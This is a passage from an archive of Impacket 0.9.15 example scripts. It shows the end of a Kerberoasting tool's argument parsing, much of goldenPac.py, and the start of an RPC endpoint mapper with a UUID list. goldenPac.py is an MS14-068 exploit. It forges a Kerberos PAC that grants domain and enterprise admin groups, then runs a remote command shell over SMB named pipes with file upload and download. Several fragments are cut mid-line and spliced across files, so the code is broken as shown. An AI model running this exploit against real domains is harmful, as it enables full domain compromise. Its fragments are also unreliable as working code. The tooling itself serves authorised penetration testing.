help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
# This is because I'm lazy with regex
# ToDo: We need to change the regex to fullfil domain/username[:password]
targetParam = options.target+'@'
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
if domain is '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.save is True or options.outputfile is not None:
options.request = True
try:
executer = GetUserSPNs(username, password, domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)
impacket-0.9.15/examples/goldenPac.py 0000700 0000765 0000000 00000152006 12734531507 017542 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# MS14-068 Exploit. Kudos to @BiDOrD for pulling it up first!
# Well done :).
# This one also established a SMBConnection and PSEXEcs the
# target.
# A few important things:
# 1) you must use the domain FQDN or use -dc-ip switch
# 2) target must be a FQDN as well and matching the target's NetBIOS
# 3) Just RC4 at the moment - DONE (aes256 added)
# 4) It won't work on Kerberos-only Domains (but can be fixed)
# 5) Use WMIEXEC approach instead
#
# E.G:
# python goldenPac domain.net/normaluser@domain-host
# the password will be asked, or
#
# python goldenPac.py domain.net/normaluser:mypwd@domain-host
#
# if domain.net and/or domain-host do not resolve, add them
# to the hosts file or use the -dc-ip and -target-ip parameters
#
import random
import string
import logging
from binascii import unhexlify
from impacket.examples import logger
from impacket.dcerpc.v5.ndr import NDRSTRUCT, NDRUniConformantArray, NDRPOINTER
from impacket.dcerpc.v5.dtypes import ULONG, RPC_SID, RPC_UNICODE_STRING, FILETIME, PRPC_SID, USHORT, MAXIMUM_ALLOWED
from impacket.dcerpc.v5.nrpc import USER_SESSION_KEY, CHAR_FIXED_8_ARRAY, PUCHAR_ARRAY, PRPC_UNICODE_STRING_ARRAY, MSRPC_UUID_NRPC, hDsrGetDcNameEx
from impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES
from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS
from impacket.dcerpc.v5 import epm
from impacket.dcerpc.v5.drsuapi import MSRPC_UUID_DRSUAPI, hDRSDomainControllerInfo, DRSBind, NTDSAPI_CLIENT_GUID, \
DRS_EXTENSIONS_INT, DRS_EXT_GETCHGREQ_V6, DRS_EXT_GETCHGREPLY_V6, DRS_EXT_GETCHGREQ_V8, DRS_EXT_STRONG_ENCRYPTION, \
NULLGUID, DRS_EXT_RECYCLE_BIN
from impacket.structure import Structure
################################################################################
# CONSTANTS
################################################################################
# From http://msdn.microsoft.com/en-us/library/aa302203.aspx#msdn_pac_credentials
# and http://diswww.mit.edu/menelaus.mit.edu/cvs-krb5/25862
PAC_LOGON_INFO = 1
PAC_CREDENTIALS_INFO = 2
PAC_SERVER_CHECKSUM = 6
PAC_PRIVSVR_CHECKSUM = 7
PAC_CLIENT_INFO_TYPE = 10
PAC_DELEGATION_INFO = 11
PAC_UPN_DNS_INFO = 12
################################################################################
# STRUCTURES
################################################################################
PISID = PRPC_SID
# 2.2.1 KERB_SID_AND_ATTRIBUTES
class KERB_SID_AND_ATTRIBUTES(NDRSTRUCT):
structure = (
('Sid', PISID),
('Attributes', ULONG),
)
class KERB_SID_AND_ATTRIBUTES_ARRAY(NDRUniConformantArray):
item = KERB_SID_AND_ATTRIBUTES
class PKERB_SID_AND_ATTRIBUTES_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.2.2 GROUP_MEMBERSHIP
from impacket.dcerpc.v5.nrpc import PGROUP_MEMBERSHIP_ARRAY
# 2.2.3 DOMAIN_GROUP_MEMBERSHIP
class DOMAIN_GROUP_MEMBERSHIP(NDRSTRUCT):
structure = (
('DomainId', PISID),
('GroupCount', ULONG),
('GroupIds', PGROUP_MEMBERSHIP_ARRAY),
)
class DOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRUniConformantArray):
item = DOMAIN_GROUP_MEMBERSHIP
class PDOMAIN_GROUP_MEMBERSHIP_ARRAY(NDRPOINTER):
referent = (
('Data', KERB_SID_AND_ATTRIBUTES_ARRAY),
)
# 2.3 PACTYPE
class PACTYPE(Structure):
structure = (
('cBuffers', ' 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, TGS=None, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.TGS = TGS
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans)
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname, fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, TGS=None, share=None):
Pipes.__init__(self, transport, pipe, permisssions, TGS, share)
def run(self):
self.connectPipe()
shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)
shell.cmdloop()
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (
('Data', PKERB_VALIDATION_INFO),
)
def __init__(self, target, targetIp=None, username='', password='', domain='', hashes=None, command='',
copyFile=None, writeTGT=None, kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >>32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl']= USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'),)
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print ('\n')
validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
validationInfoAlignment = '\x00'*(((len(validationInfoBlob)+7)/8*8)-len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00'*(((len(pacClientInfoBlob)+7)/8*8)-len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00'*16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00'*(((len(serverChecksumBlob)+7)/8*8)-len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00'*16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00'*(((len(privSvrChecksumBlob)+7)/8*8)-len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER()))*4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData+validationInfoIB['cbBufferSize'] + 7) /8 *8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData+pacClientInfoIB['cbBufferSize'] + 7) /8 *8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData+serverChecksumIB['cbBufferSize'] + 7) /8 *8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('
"""
import sys
import struct
from impacket.examples import logger
from impacket import uuid
from impacket.dcerpc.v5.epm import KNOWN_UUIDS
from impacket.dcerpc.v5 import transport, rpcrt, epm
from impacket.dcerpc.v5 import mgmt
uuid_database = set(uuid.string_to_uuidtup(line) for line in """
00000001-0000-0000-c000-000000000046 v0.0
00000131-0000-0000-c000-000000000046 v0.0
00000132-0000-0000-c000-000000000046 v0.0
00000134-0000-0000-c000-000000000046 v0.0
00000136-0000-0000-c000-000000000046 v0.0
00000141-0000-0000-c000-000000000046 v0.0
00000143-0000-0000-c000-000000000046 v0.0
000001a0-0000-0000-c000-000000000046 v0.0
027947e1-d731-11ce-a357-000000000001 v0.0
04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0
06bba54a-be05-49f9-b0a0-30f790261023 v1.0
0767a036-0d22-48aa-ba69-b619480f38cb v1.0
0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0
0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0
0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0
0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0
0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0
0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0
0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0
1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0
11220835-5b26-4d94-ae86-c3e475a809de v1.0
12345678-1234-abcd-ef00-0123456789ab v1.0
12345678-1234-abcd-ef00-01234567cffb v1.0
12345778-1234-abcd-ef00-0123456789ab v0.0
12345778-1234-abcd-ef00-0123456789ac v1.0
12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0
12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0
12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0
130ceefb-e466-11d1-b78b-00c04fa32883 v2.0
1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0
1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0
16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0
17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0
18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0
1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0
1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0
1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0
1c1c45ee-4395-11d2-b60b-00104b703efd v0.0
1cbcad78-df0b-4934-b558-87839ea501c9 v0.0
1d55b526-c137-46c5-ab79-638f2a68e869 v1.0
1ff70682-0a51-30e8-076d-740be8cee98b v1.0
201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0
20610036-fa22-11cf-9823-00a0c911e5df v1.0
209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0
21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0
2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0
25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0
266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0
28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0
2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0
2eb08e3e-639f-4fba-97b1-14f878961076 v1.0
2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0
2f5f3220-c126-1076-b549-074d078619da v1.2
2f5f6520-ca46-1067-b319-00dd010662da v1.0
2f5f6521-ca47-1068-b319-00dd010662db v1.0
2f5f6521-cb55-1059-b446-00df0bce31db v1.0
2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0
300f3532-38cc-11d0-a3f0-0020af6b0add v1.2
326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0
333a2276-0000-0000-0d00-00809c000000 v3.0
338cd001-2244-31f1-aaaa-900038001003 v1.0
342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0
3473dd4d-2e88-4006-9cba-22570909dd10 v5.0
3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
359e47c9-682e-11d0-adec-00c04fc2a078 v1.0
367abb81-9844-35f1-ad32-98f038001003 v2.0
369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0
378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
386ffca4-22f5-4464-b660-be08692d7296 v1.0
38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0
3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0
3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0
3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0
3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0
3f77b086-3a17-11d3-9166-00c04f688e28 v1.0
3f99b900-4d87-101b-99b7-aa0004007f07 v1.0
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1
41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
423ec01e-2e35-11d2-b604-00104b703efd v0.0
45776b01-5956-4485-9f80-f428f7d60129 v2.0
45f52c28-7f9f-101a-b52b-08002b2efabe v1.0
469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0
4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0
4a452661-8290-4b36-8fbe-7f4093a94978 v1.0
4b112204-0e19-11d3-b42b-0000f81feb9f v1.0
4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0
4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0
4f82f460-0e21-11cf-909e-00805f48a135 v4.0
4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0
50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0
53e75790-d96b-11cd-ba18-08002b2dfead v2.0
56c8504c-4408-40fd-93fc-afd30f10c90d v1.0
57674cd0-5200-11ce-a897-08002b2e9c6d v0.0
57674cd0-5200-11ce-a897-08002b2e9c6d v1.0
5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0
5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
5b821720-f63b-11d0-aad2-00c04fc324db v1.0
5c89f409-09cc-101a-89f3-02608c4d2361 v1.1
5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0
5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0
5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0
6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0
621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0
629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0
629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0
63fbe424-2029-11d1-8db8-00aa004abd5e v1.0
654976df-1498-4056-a15e-cb4e87584bd8 v1.0
65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0
69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0
6bffd098-0206-0936-4859-199201201157 v1.0
6bffd098-a112-3610-9833-012892020162 v0.0
6bffd098-a112-3610-9833-46c3f874532d v1.0
6bffd098-a112-3610-9833-46c3f87e345a v1.0
6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0
708cca10-9569-11d1-b2a5-0060977d8118 v1.0
70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0
76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
76f226c3-ec14-4325-8a99-6a46348418ae v1.0
76f226c3-ec14-4325-8a99-6a46348418af v1.0
77df7a80-f298-11d0-8358-00a024c480a8 v1.0
7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2
7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0
7c857801-7381-11cf-884d-00aa004b2e24 v0.0
7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0
7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0
7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0
811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0
8174bb16-571b-4c38-8386-1102b449044a v1.0
82273fdc-e32a-18c3-3f78-827929dc23ea v0.0
82980780-4b64-11cf-8809-00a004ff3128 v3.0
82ad4280-036b-11cf-972c-00aa006887b0 v2.0
83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0
83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0
86d35949-83c9-4044-b424-db363231fd0c v1.0
894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0
89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0
8c7a6de0-788d-11d0-9edf-444553540000 v2.0
8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0
8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0
8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0
8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0
8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0
